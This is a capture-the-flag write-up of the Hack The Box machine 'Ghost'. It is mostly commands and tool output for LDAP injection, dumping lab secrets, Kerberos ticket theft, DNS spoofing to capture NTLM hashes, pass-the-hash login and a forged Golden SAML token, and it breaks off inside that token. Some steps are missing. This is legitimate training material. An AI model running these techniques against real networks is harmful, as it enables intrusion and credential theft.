Ghost is an insane-difficulty machine from Hack The Box dealing initially with LDAP injection -> Gitea password bruteforce -> source code review leading to RCE via acquiring a special header -> Kerberos ticket hijacking -> BloodHound Information Gathering -> DNS Spoofing to capture the NTLM hash of the user -> ReadGMSAPassword abuse -> Golden SAML Attack -> ADFS web interface authentication bypass -> MSSQL Command Injection -> SeImpersonatePrivilege abuse using EfsPotato -> Cross-domain Trust abuse -> root flag.
PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-07-1520:47:05Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: ghost.htb, Site: Default-First-Site-Name) |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=DC01.ghost.htb | Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb | Not valid before: 2024-06-19T15:45:56 |_Not valid after: 2124-06-19T15:55:55 443/tcp open https? 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=DC01.ghost.htb | Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb | Not valid before: 2024-06-19T15:45:56 |_Not valid after: 2124-06-19T15:55:55 1433/tcp open ms-sql-s Microsoft SQL Server 202216.00.1000.00; RC0+ |_ssl-date: 2024-07-15T20:51:35+00:00; +1m18s from scanner time. | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback | Not valid before: 2024-07-15T20:09:33 |_Not valid after: 2054-07-15T20:09:33 |_ms-sql-info: ERROR: Script execution failed (use -d to debug) |_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug) 2179/tcp open vmrdp? 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name) |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=DC01.ghost.htb | Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb | Not valid before: 2024-06-19T15:45:56 |_Not valid after: 2124-06-19T15:55:55 3269/tcp open ssl/globalcatLDAPssl? | ssl-cert: Subject: commonName=DC01.ghost.htb | Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb | Not valid before: 2024-06-19T15:45:56 |_Not valid after: 2124-06-19T15:55:55 3389/tcp open ms-wbt-server Microsoft Terminal Services |_ssl-date: 2024-07-15T20:51:32+00:00; +1m17s from scanner time. | ssl-cert: Subject: commonName=DC01.ghost.htb | Not valid before: 2024-06-16T15:49:55 |_Not valid after: 2024-12-16T15:49:55 8008/tcp open http nginx 1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-generator: Ghost 5.78 |_http-title: Ghost 8443/tcp open ssl/http nginx 1.18.0 (Ubuntu) | tls-alpn: |_ http/1.1 | ssl-cert: Subject: commonName=core.ghost.htb | Subject Alternative Name: DNS:core.ghost.htb | Not valid before: 2024-06-18T15:14:02 |_Not valid after: 2124-05-25T15:14:02 |_http-server-header: nginx/1.18.0 (Ubuntu) | http-title: Ghost Core |_Requested resource was /login Service Info: Host: DC01; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel
We can see that we have a windows machine that seems to be our ghost.htb domain controller (we can tell from the 88 kerberos port). Let’s add entries for it in our /etc/hosts file. We also have a couple web applications deployed on ports 8008 and 8443.
Subdomain enumeration with ffuf
Doing some subdomain enumeration using ffuf we find an interesting intranet:
We are prompted with a login interface. Since this web app is hosted on a domain controller, we should not rule out that it is using ldap for the login flow. One of the most common ldap injections is using * both for username and password. Let’s fire up our BurpSuite and do that: This is the actual login request:
We are currently migrating Gitea to Bitbucket. Domain logins to Gitea have been disabled. You can only login with the gitea_temp_principal account and its corresponding intranet token as password.
This means that there is also a Gitea instance with a gitea_temp_principal user. Let’s add that entry to our /etc/hosts and check it out.
We are here. However, we only have a username for the login without any clue for the password.
However, we had this note after loggin in to intranet : For sysadmins: Look in LDAP for the attribute. You can also test the credentials by logging in to intranet. So let’s try bruteforcing the gitea_temp_principalpassword from there.
The url is being directly passed into the shell command without sanitization which can lead to RCE (Remote Code Execution). Also looking at the imports in this file we can see use crate::api::dev::DevGuard; which leads us to dev.rs where we can see that we require a X-DEV-INTRANET-KEY header to be able to make the request:
Gitea Intranet Project
However, this key is stored inside the environment variables, which we can get using the LFI ;)
# find / -name *controlmaster* 2> /dev/null /root/.ssh/controlmaster # ls /root/.ssh/controlmaster florence.ramirez@ghost.htb@dev-workstation:22 # cd /root/.ssh/controlmaster # ls florence.ramirez@ghost.htb@dev-workstation:22 # file florence.ramirez@ghost.htb@dev-workstation:22 florence.ramirez@ghost.htb@dev-workstation:22: socket
We can finda florence.ramirez@ghost.htb@dev-workstation:22 socket file probably used to allow florence.ramirez user to connect to this docker environment. Let’s execute the bash docker entrypoint file and see what we get:
# bash docker-entrypoint.sh mkdir: cannot create directory '/root/.ssh': File exists mkdir: cannot create directory '/root/.ssh/controlmaster': File exists Error: Rocket failed to bind network socket to given address/port. thread 'main' panicked at /usr/local/cargo/registry/src/index.crates.io-6f17d22bba15001f/rocket-0.5.1/src/error.rs:279:9: aborting due to socket bind error note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace # env DATABASE_URL=./database.sqlite ROCKET_ADDRESS=0.0.0.0 HOSTNAME=36b733906694 SHLVL=1 HOME=/root OLDPWD=/app LDAP_HOST=ldap://windows-host:389 DEV_INTRANET_KEY=!@yqr!X2kxmQ.@Xe _=docker-entrypoint.sh RUSTUP_HOME=/usr/local/rustup LDAP_BIND_DN=CN=Intranet Principal,CN=Users,DC=ghost,DC=htb PATH=/usr/local/cargo/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin JWT_SECRET=*xopkAGbLyg9bK_A RUST_VERSION=1.79.0 PWD=/ LDAP_BIND_PASSWORD=He!KA9oKVT3rL99j CARGO_HOME=/usr/local/cargo #
Now checking our environment variables again, we find a new LDAP_BIND_PASSWORD. But its not of much use right now. However, what we can do is connect directly through ssh on the docker container to this user and try to grab his Kerberos ticket that’s being used for authentication:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
# ssh florence.ramirez@ghost.htb@dev-workstation Pseudo-terminal will not be allocated because stdin is not a terminal. id uid=50(florence.ramirez) gid=50(staff) groups=50(staff),51(it) python3 -c 'import pty;pty.spawn("/bin/bash")' florence.ramirez@LINUX-DEV-WS01:~$ ls ls florence.ramirez@LINUX-DEV-WS01:~$ klist klist Ticket cache: FILE:/tmp/krb5cc_50 Default principal: florence.ramirez@GHOST.HTB
Valid starting Expires Service principal 04/03/25 18:33:01 04/04/25 04:33:01 krbtgt/GHOST.HTB@GHOST.HTB renew until 04/04/25 18:33:01 florence.ramirez@LINUX-DEV-WS01:~$ ls /tmp ls /tmp init_success nmbd-stdout---supervisor-j48_1igi.log krb5cc_50 winbind-stdout---supervisor-o_401b29.log
And yes! We can find the user ticket under /tmp/krb5cc_50. Let’s transfer that over to our attacker machine by encoding it to base64 and authenticate with it:
┌──(kaliă‰¿kali)-[~/Hackthebox/GHost] └─$ bloodhound-python -u 'florence.ramirez' -k -ns 10.129.231.105 -d ghost.htb -c all --zip --use-ldap /usr/lib/python3/dist-packages/bloodhound/ad/utils.py:115: SyntaxWarning: invalid escape sequence '\-' xml_sid_rex = re.compile('<UserId>(S-[0-9\-]+)</UserId>') Password: INFO: Found AD domain: ghost.htb INFO: Using TGT from cache INFO: Found TGT with correct principal in ccache file. INFO: Connecting to LDAP server: dc01.ghost.htb INFO: Kerberos auth to LDAP failed, trying NTLM Traceback (most recent call last): File "/usr/bin/bloodhound-python", line 33, in <module> sys.exit(load_entry_point('bloodhound==1.7.2', 'console_scripts', 'bloodhound-python')()) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/lib/python3/dist-packages/bloodhound/__init__.py", line 343, in main bloodhound.run(collect=collect, File "/usr/lib/python3/dist-packages/bloodhound/__init__.py", line 78, in run self.pdc.prefetch_info('objectprops'in collect, 'acl'in collect, cache_computers=do_computer_enum) File "/usr/lib/python3/dist-packages/bloodhound/ad/domain.py", line 571, in prefetch_info self.get_objecttype() File "/usr/lib/python3/dist-packages/bloodhound/ad/domain.py", line 260, in get_objecttype self.ldap_connect() File "/usr/lib/python3/dist-packages/bloodhound/ad/domain.py", line 71, in ldap_connect ldap = self.ad.auth.getLDAPConnection(hostname=self.hostname, ip=ip, ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/lib/python3/dist-packages/bloodhound/ad/authentication.py", line 115, in getLDAPConnection bound = conn.bind() ^^^^^^^^^^^ File "/home/kali/.local/lib/python3.12/site-packages/ldap3/core/connection.py", line 599, inbind self.open(read_server_info=False) File "/home/kali/.local/lib/python3.12/site-packages/ldap3/strategy/sync.py", line 57, in open BaseStrategy.open(self, reset_usage, read_server_info) File "/home/kali/.local/lib/python3.12/site-packages/ldap3/strategy/base.py", line 154, in open raise LDAPSocketOpenError('invalid server address') ldap3.core.exceptions.LDAPSocketOpenError: invalid server address
For some reason I kept on getting this error over and over again. Until I setup my own dns server using dnschef, then it worked like a charm: DNSCHEF config
(18:49:35) [*] DNSChef started on interface: 127.0.0.1 (18:49:35) [*] Using the following nameservers: 8.8.8.8 (18:49:35) [*] Cooking all A replies to point to 10.129.231.105 (18:49:48) [*] 127.0.0.1: proxying the response of type'SRV'for _ldap._tcp.pdc._msdcs.ghost.htb (18:49:48) [*] 127.0.0.1: proxying the response of type'SRV'for _ldap._tcp.pdc._msdcs.ghost.htb.localdomain (18:49:48) [*] 127.0.0.1: proxying the response of type'SRV'for _ldap._tcp.gc._msdcs.ghost.htb (18:49:48) [*] 127.0.0.1: proxying the response of type'SRV'for _ldap._tcp.gc._msdcs.ghost.htb.localdomain (18:49:48) [*] 127.0.0.1: proxying the response of type'SRV'for _kerberos._tcp.dc._msdcs.ghost.htb (18:49:48) [*] 127.0.0.1: proxying the response of type'SRV'for _kerberos._tcp.dc._msdcs.ghost.htb.localdomain (18:50:19) [*] 127.0.0.1: proxying the response of type'SRV'for _ldap._tcp.pdc._msdcs.ghost.htb (18:50:19) [*] 127.0.0.1: proxying the response of type'SRV'for _ldap._tcp.pdc._msdcs.ghost.htb.localdomain (18:50:19) [*] 127.0.0.1: proxying the response of type'SRV'for _ldap._tcp.gc._msdcs.ghost.htb (18:50:19) [*] 127.0.0.1: proxying the response of type'SRV'for _ldap._tcp.gc._msdcs.ghost.htb.localdomain (18:50:19) [*] 127.0.0.1: proxying the response of type'SRV'for _kerberos._tcp.dc._msdcs.ghost.htb (18:50:19) [*] 127.0.0.1: proxying the response of type'SRV'for _kerberos._tcp.dc._msdcs.ghost.htb.localdomain (18:50:19) [*] 127.0.0.1: cooking the response of type'A'for dc01.ghost.htb to 10.129.231.105 (18:50:34) [*] 127.0.0.1: cooking the response of type'A'for dc01.ghost.htb to 10.129.231.105 (18:50:42) [*] 127.0.0.1: cooking the response of type'A'for linux-dev-ws01.ghost.htb to 10.129.231.105 (18:50:42) [*] 127.0.0.1: cooking the response of type'A'for DC01.ghost.htb to 10.129.231.105
┌──(kaliă‰¿kali)-[~/Hackthebox/GHost] └─$ bloodhound-python -u 'florence.ramirez' -k -ns 127.0.0.1 -d ghost.htb -dc dc01.ghost.htb -c all --zip --use-ldap /usr/lib/python3/dist-packages/bloodhound/ad/utils.py:115: SyntaxWarning: invalid escape sequence '\-' xml_sid_rex = re.compile('<UserId>(S-[0-9\-]+)</UserId>') Password: WARNING: Could not find a global catalog server, assuming the primary DC has this role If this gives errors, either specify a hostname with -gc or disable gc resolution with --disable-autogc INFO: Using TGT from cache INFO: Found TGT with correct principal in ccache file. INFO: Connecting to LDAP server: dc01.ghost.htb INFO: Found 1 domains INFO: Found 2 domains in the forest INFO: Found 2 computers INFO: Connecting to LDAP server: dc01.ghost.htb INFO: Found 16 users INFO: Found 57 groups INFO: Found 2 gpos INFO: Found 1 ous INFO: Found 20 containers INFO: Found 1 trusts INFO: Starting computer enumeration with 10 workers INFO: Querying computer: linux-dev-ws01.ghost.htb INFO: Querying computer: DC01.ghost.htb INFO: Ignoring host linux-dev-ws01.ghost.htb since its hostname does not match: Supplied hostname linux-dev-ws01.ghost.htb does not match reported hostnames dc01 or dc01.ghost.htb INFO: Done in 00M 33S INFO: Compressing output into 20250403185019_bloodhound.zip
One more thing, when prompted for the password I entered He!KA9oKVT3rL99j, the one we got earlier from our docker-entrypoint.sh execution in the environment variables. As I started running out of ideas, I remember a discussion I saw earlier on the forum:
DNS Forum Discussion
We can see that DNS is not configured for BitBucket and that Justin (who is justin.bradley) is running a script against it. Then what we can do is add a DNS record for bitbucket.ghost.htb pointing to our IP as user florence.ramirez and therefore perform a DNS Spoofing attack. Lessgo: We can do that using BloodyAD:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
┌──(kaliă‰¿kali)-[~/Hackthebox/GHost] └─$ python3 bloodyAD/bloodyAD.py -v INFO -u 'florence.ramirez' -d 'ghost.htb' -k --dc-ip 10.129.231.105 --host dc01.ghost.htb add dnsRecord bitbucket 10.10.16.25 [+] bitbucket has been successfully added ┌──(kaliă‰¿kali)-[~/Hackthebox/GHost] └─$ python3 bloodyAD/bloodyAD.py -v INFO -u 'florence.ramirez' -d 'ghost.htb' -k --dc-ip 10.129.231.105 --host dc01.ghost.htb add dnsRecord bitbucket 10.10.16.25 [b'\x04\x00\x01\x00\x05\xf0\x00\x00\xf7\x00\x00\x00\x00\x00\x01,\x00\x00\x00\x00\x00\x00\x00\x00\n\n\x10\x19', b'\x04\x00\x01\x00\x05\xf0\x00\x00\xf7\x00\x00\x00\x00\x00\x01,\x00\x00\x00\x00\x00\x00\x00\x00\n\n\x10\x19'] Traceback (most recent call last): File "/home/kali/Hackthebox/GHost/bloodyAD/bloodyAD.py", line 5, in <module> main.main() File "/home/kali/Hackthebox/GHost/bloodyAD/bloodyAD/main.py", line 210, in main output = args.func(conn, **params) ^^^^^^^^^^^^^^^^^^^^^^^^^ File "/home/kali/Hackthebox/GHost/bloodyAD/bloodyAD/cli_modules/add.py", line 196, in dnsRecord conn.ldap.bloodymodify( File "/home/kali/Hackthebox/GHost/bloodyAD/bloodyAD/network/ldap.py", line 301, in bloodymodify raise err msldap.commons.exceptions.LDAPModifyException: LDAP Modify operation failed on DN DC=bitbucket,DC=ghost.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=ghost,DC=htb! Result code: "attributeOrValueExists" Reason: "b'00002083: AtrErr: DSID-03151E7F, #1:\n\t0: 00002083: DSID-03151E7F, problem 1006 (ATT_OR_VALUE_EXISTS), data 0, Att 9017e (dnsRecord)\n\x00'"
And looking at our Responder that we setup for listening:
[+] Servers: HTTP server [ON] HTTPS server [ON] WPAD proxy [OFF] Auth proxy [OFF] SMB server [ON] Kerberos server [ON] SQL server [ON] FTP server [ON] IMAP server [ON] POP3 server [ON] SMTP server [ON] DNS server [ON] LDAP server [ON] MQTT server [ON] RDP server [ON] DCE-RPC server [ON] WinRM server [ON] SNMP server [OFF]
ATTENTION! Pure (unoptimized) backend kernels selected. Pure kernels can crack longer passwords, but drastically reduce performance. If you want to switch to optimized kernels, append -O to your commandline. See the above message to find out about the exact limits.
* Append -O to the commandline. This lowers the maximum supported password/salt length (usually down to 32).
* Append -w 3 to the commandline. This can cause your screen to lag.
* Append -S to the commandline. This has a drastic speed impact but can be better for specific attacks. Typical scenarios are a small wordlist but a large ruleset.
* Update your backend API runtime / driver the right way: https://hashcat.net/faq/wrongdriver
* Create more work items to make use of your parallelization power: https://hashcat.net/faq/morework
┌──(kaliă‰¿kali)-[~/Hackthebox/GHost] └─$ evil-winrm -i dc01.ghost.htb -u adfs_gmsa$ -H 9de4d086a1443bef82340604766d69c9 Evil-WinRM shell v3.7 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\adfs_gmsa$\Documents> whoami ghost\adfs_gmsa$ *Evil-WinRM* PS C:\Users\adfs_gmsa$\Documents> hostname DC01 *Evil-WinRM* PS C:\Users\adfs_gmsa$\Documents>
Golden SAML attack
Golden SAML is a post-exploitation attack technique that allows an attacker to impersonate any user, including domain admins, by forging SAML authentication tokens. It is commonly used against Active Directory Federation Services (ADFS) environments.
First we’ll have to steal the ADFS token-signin certificate, for that we can use this ADFSDump.exe against our recently compromised account:
┌──(kaliă‰¿kali)-[~/Hackthebox/GHost] └─$ evil-winrm -i dc01.ghost.htb -u adfs_gmsa$ -H 9de4d086a1443bef82340604766d69c9 Evil-WinRM shell v3.7 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\adfs_gmsa$\Documents> upload ADFSDump.exe Info: Uploading /home/kali/Hackthebox/GHost/ADFSDump.exe to C:\Users\adfs_gmsa$\Documents\ADFSDump.exe Data: 40276 bytes of 40276 bytes copied Info: Upload successful! *Evil-WinRM* PS C:\Users\adfs_gmsa$\Documents> ./ADFSDump.exe ___ ____ ___________ ____ / | / __ \/ ____/ ___// __ \__ ______ ___ ____ / /| | / / / / /_ \__ \/ / / / / / / __ `__ \/ __ \ / ___ |/ /_/ / __/ ___/ / /_/ / /_/ / / / / / / /_/ / /_/ |_/_____/_/ /____/_____/\__,_/_/ /_/ /_/ .___/ /_/ Created by @doughsec
## Extracting Private Key from Active Directory Store [-] Domain is ghost.htb [-] Private Key: FA-DB-3A-06-DD-CD-40-57-DD-41-7D-81-07-A0-F4-B3-14-FA-2B-6B-70-BB-BB-F5-28-A7-21-29-61-CB-21-C7
Now this is only the Encrypted PFX alongside the Key. We will now copy the out private key and token signing key and convert them into a better format to be used later.
A tool to for AD FS security tokens Created by @doughsec
/home/kali/Hackthebox/GHost/ADFSpoof/ADFSpoof.py:96: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC). now = datetime.utcnow() PHNhbWxwOlJlc3BvbnNlIHhtbG5zOnNhbWxwPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6cHJvdG9jb2wiIElEPSJfWFlISkhFIiBWZXJzaW9uPSIyLjAiIElzc3VlSW5zdGFudD0iMjAyNS0wNC0wNFQwOTowNDo1OC4wMDBaIiBEZXN0aW5hdGlvbj0iaHR0cHM6Ly9jb3JlLmdob3N0Lmh0Yjo4NDQzL2FkZnMvc2FtbC9wb3N0UmVzcG9uc2UiIENvbnNlbnQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpjb25zZW50OnVuc3BlY2lmaWVkIj48SXNzdWVyIHhtbG5zPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXNzZXJ0aW9uIj5odHRwOi8vY29yZS5naG9zdC5odGIvYWRmcy9zZXJ2aWNlcy90cnVzdDwvSXNzdWVyPjxzYW1scDpTdGF0dXM%2BPHNhbWxwOlN0YXR1c0NvZGUgVmFsdWU9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpzdGF0dXM6U3VjY2VzcyIvPjwvc2FtbHA6U3RhdHVzPjxBc3NlcnRpb24geG1sbnM9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphc3NlcnRpb24iIElEPSJfSkZPSzlUIiBJc3N1ZUluc3RhbnQ9IjIwMjUtMDQtMDRUMDk6MDQ6NTguMDAwWiIgVmVyc2lvbj0iMi4wIj48SXNzdWVyPmh0dHA6Ly9jb3JlLmdob3N0Lmh0Yi9hZGZzL3NlcnZpY2VzL3RydXN0PC9Jc3N1ZXI%2BPGRzOlNpZ25hdHVyZSB4bWxuczpkcz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC8wOS94bWxkc2lnIyI%2BPGRzOlNpZ25lZEluZm8%2BPGRzOkNhbm9uaWNhbGl6YXRpb25NZXRob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzEwL3htbC1leGMtYzE0biMiLz48ZHM6U2lnbmF0dXJlTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8wNC94bWxkc2lnLW1vcmUjcnNhLXNoYTI1NiIvPjxkczpSZWZlcmVuY2UgVVJJPSIjX0pGT0s5VCI%2BPGRzOlRyYW5zZm9ybXM%2BPGRzOlRyYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyNlbnZlbG9wZWQtc2lnbmF0dXJlIi8%2BPGRzOlRyYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvMTAveG1sLWV4Yy1jMTRuIyIvPjwvZHM6VHJhbnNmb3Jtcz48ZHM6RGlnZXN0TWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8wNC94bWxlbmMjc2hhMjU2Ii8%2BPGRzOkRpZ2VzdFZhbHVlPml5L1ozSUt3QVpMMi9zRjFPWk9xVTNkSTRSOWdKNTZFNjdjaFI3eXRhQ009PC9kczpEaWdlc3RWYWx1ZT48L2RzOlJlZmVyZW5jZT48L2RzOlNpZ25lZEluZm8%2BPGRzOlNpZ25hdHVyZVZhbHVlPlllOHlacFEzVkNvQVlSVUs5cW15akZOMzlYYkVLSUdURWFEVGZOcDQ2ckd4UndmbXRjVytlc1NnaHNKT3p4cmJKd2I2bjdjZG1zbFNObkNrZWpRS3FTTktKOU9ZYzdLQmhPcWpOcGhSYUt2akh3czZZYWVYTUxHVWEvUlo0V3ZQWVAwMnZDdUhOUmpwZnRIQituY21KV1B1UVBza3NYWUdRQjVoak5MNCtONWlNSlhxODhpaG5DT0FydHdpdFZNZ2VvNE5vbnpVOUhhS0ZxYmphajN3SjlkeHhKWTBzR3hIYVhhRGszM0JVRzlUc0JybWdEZ1FIZ21YOGlpUUdtNWpiM3J3bDhnbFZUMCtNZnNSL0JlakJsWkhsN00yQkRwUjlxd3VqMmJWbkRLQmFUaDl0SHBBTHlINGRjZHJ2SjFpSkMyVWphV3V4UmtQMktoYzhCRDRJNXV2RUxFVDlRUno2dEgxcnNySXJpSW9nMEE1aCtDSG9rSUw5VEU0YUhIeUMrUnEyNkRBejZTYWxpVzV1aW1hSzQzMDhsODFPenB3YUlJSW5DMU1xeHAyLzM4UWE5YUFmSzhuRTY1V21UYXNSRFc3MGVyMTA4Lzd0QTY0MTFTdHBmVmhhZTJpTkZpZGxrT1g1ZWVEcy9vLzhWc0dIZHRZUEVpOTZucE9ZaFAzVmxBU1oxeDkvbEQxVXA2cTUxYVBET2pYc1grVDhQd1ozOE5YcS9tNkkyRmpqYU1CMFowYnIvNUtwVTI3MDdtT0thMEdyVmduYlBnUlMyemQ5Z1JIUWVTZkJha1FpOXJrT0w2dndZVUdIOThYNjdjc1pUTjNsU3I0YWlvZ0tmUFIzRTgyOFh4K1Qrcmw5SVE4dVhkeElocElEYktlWXgvUHdpRUVsVG1BUitZPTwvZHM6U2lnbmF0dXJlVmFsdWU%2BPGRzOktleUluZm8%2BPGRzOlg1MDlEYXRhPjxkczpYNTA5Q2VydGlmaWNhdGU%2BTUlJRTVqQ0NBczZnQXdJQkFnSVFKRmNXd015YlJhNU80K1dPNXRXb0dUQU5CZ2txaGtpRzl3MEJBUXNGQURBdU1Td3dLZ1lEVlFRREV5TkJSRVpUSUZOcFoyNXBibWNnTFNCbVpXUmxjbUYwYVc5dUxtZG9iM04wTG1oMFlqQWdGdzB5TkRBMk1UZ3hOakUzTVRCYUdBOHlNVEEwTURVek1ERTJNVGN4TUZvd0xqRXNNQ29HQTFVRUF4TWpRVVJHVXlCVGFXZHVhVzVuSUMwZ1ptVmtaWEpoZEdsdmJpNW5hRzl6ZEM1b2RHSXdnZ0lpTUEwR0NTcUdTSWIzRFFFQkFRVUFBNElDRHdBd2dnSUtBb0lDQVFDK0FBT0lmRXF0bFljbjE1M0wxQnZHUWdEeVhUbll3VFJ6c0s1OSt6RTF6Z0dLTzlONW5iOEZrK2RhS3BXTFFhaUg3b0RIYWVudy9RYXhCZzVxZGVEWW1EM296OEt5YUExeWdZQnJ6bTR3VzdGZjg3cks5RmU1SjUvaDZXOWc3NDloNUJJcVBRT3AwbDZzMXJmdW1PY2NONHliVzk1RVdOTDB2dVFYdkMrS1E0RDRnTVh1OG1DR3B4dHZJTDhpbE50SnVJRzNPUllTS2hSYWwweXlKZU9oRzR4Z2xyWkpGMThwOXdobkU2b21nZ21BNm4yc2hEay90dlRZamlpNWU3L2ljV1RLa3JzTUNwYUtVTms3bXhkTVpoUWFiN1NtZktyWk40cFJEN2RWZzV6ekl5RDdVelM5Q0hMQzZ4TnpxL1owaHVhT2FKaE9TZEpTZ2F0L2JzRzhuYngxOUhELyt5cFc5SjJMdE5GdWdkV3RtVUJXRE9RQllWaEI4U2c0VkVHZ1A5anlJdEhIMmJ6c0RmalJkSjhFMXVOSldQL2tRQTErd1lsT2RkTHFVM2IwSXNDdmxBOEV2WVcwVDFSc3U3N280eC93MGdXYjBvUVBFSXo3ejk3M2I0OTZ3cVF0M0RueWZlTzNsWFhmWk5jdmFqNUtDUDJUdEdCK0tzaEY5cGtJUHhxN0YyZ01oN1FqeGpSSHNBMjlWOGpGbzlnTEQ3a1BWaWNhSVVkc2dpRkhuWVFGMTRhNTJKdFIxVjVpTitoOTVKa3V1RXFRV0RCSEF2UEVCQlprRVpIKzV5VCthQ0ZYWFgrQnBQdDNRR2pZTGVKVThDRnNNdG44UVZMWXZMZGNWUnNVblJoL1dIaVh3Sk9PRVZFQ2E5dzcveVZuaGFsQ05CeDFFL2w0S1FJREFRQUJNQTBHQ1NxR1NJYjNEUUVCQ3dVQUE0SUNBUUFXWUtaVzNjRENCTzZkVDN5ZmwzT2N1eXAxTFZLVkkrOXBGeC9iYldwV2pTZGg2YjM5TFR4eEQ3RllVdGh1V1BaM3JGNEcrRmRNRkhIQ3gzWXBFbVVGbkVMS3NYcWhaOTg5QVg1OEkvM21iZlVsS1dlSVBMU0xrcCtlUlpvTUprdDdrMS9LWHREYXNPUW4wTnNnWUVvd0xCSW1NQ011OXV1am5DbUZPd0hQL0lCaGdZUU1IaDQ2QnpTWFdQM2k4VlhiclJ0RHBvL2MvL09GSmhHbW5uRjhaUG1pNHh0emZTREJwVktxd1ZMcDc4Q2d1TXhqUWQrYmRVYjQ1NTg4Wko0Q0xzUGRSUXAzMFdKMS9DTklhZW52Sld0QTJHNUladzVVMEVXQ0pMb1lKV0ZzOWl5T2ExL3k1NXJ1VzZKOGxJR0Qwd21vRWVDbDlDSDFFZDRkelVkVVhmMU1CQ1lQM1g5MmlheHpVRTB1cEdkLzFRbzZIVHl5T2xXdUF3cmtUMlZIRUxLVlpLT2c4K2RseTk3Z3laSWZVdFF3SWtQd05sOHZvMDRjZmoraHpPdkJ6UEtBQVloMTROTGd2ZUFJL0RxTW5PME9LTyt3MUhCS3c2NE5CQ244Z29hekYrUHVGZlVPMHlOSEZMNGt4TXBjYXA2aWV2NmczQlhDU0R3ZnFUVU9FdUVzN3E5b1lLZ3EycW5OVk9USWhoSW5NWEJ6RW02aVAxM2pmdU9vWEpkUEFuRVVYbjR5NXl3QTk3cnRiR25aRVB5eDFmMUVrWC9oYnFCUDR2b2d2OWtsdGFVRUVWWGtTK2hQcHhabWV4Q05yQkQxcTdHSi81MGViWWxDMENldjh3Nk1zOHRNME9ydnBwR1lsV3J0UHdldkV2ZmlSa3dCTEc3RU1BbkxTdz09PC9kczpYNTA5Q2VydGlmaWNhdGU%2BPC9kczpYNTA5RGF0YT48L2RzOktleUluZm8%2BPC9kczpTaWduYXR1cmU%2BPFN1YmplY3Q%2BPE5hbWVJRCBGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjEuMTpuYW1laWQtZm9ybWF0OmVtYWlsQWRkcmVzcyI%2BQWRtaW5pc3RyYXRvckBnaG9zdC5odGI8L05hbWVJRD48U3ViamVjdENvbmZpcm1hdGlvbiBNZXRob2Q9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpjbTpiZWFyZXIiPjxTdWJqZWN0Q29uZmlybWF0aW9uRGF0YSBOb3RPbk9yQWZ0ZXI9IjIwMjUtMDQtMDRUMDk6MDk6NTguMDAwWiIgUmVjaXBpZW50PSJodHRwczovL2NvcmUuZ2hvc3QuaHRiOjg0NDMvYWRmcy9zYW1sL3Bvc3RSZXNwb25zZSIvPjwvU3ViamVjdENvbmZpcm1hdGlvbj48L1N1YmplY3Q%2BPENvbmRpdGlvbnMgTm90QmVmb3JlPSIyMDI1LTA0LTA0VDA5OjA0OjU4LjAwMFoiIE5vdE9uT3JBZnRlcj0iMjAyNS0wNC0wNFQxMDowNDo1OC4wMDBaIj48QXVkaWVuY2VSZXN0c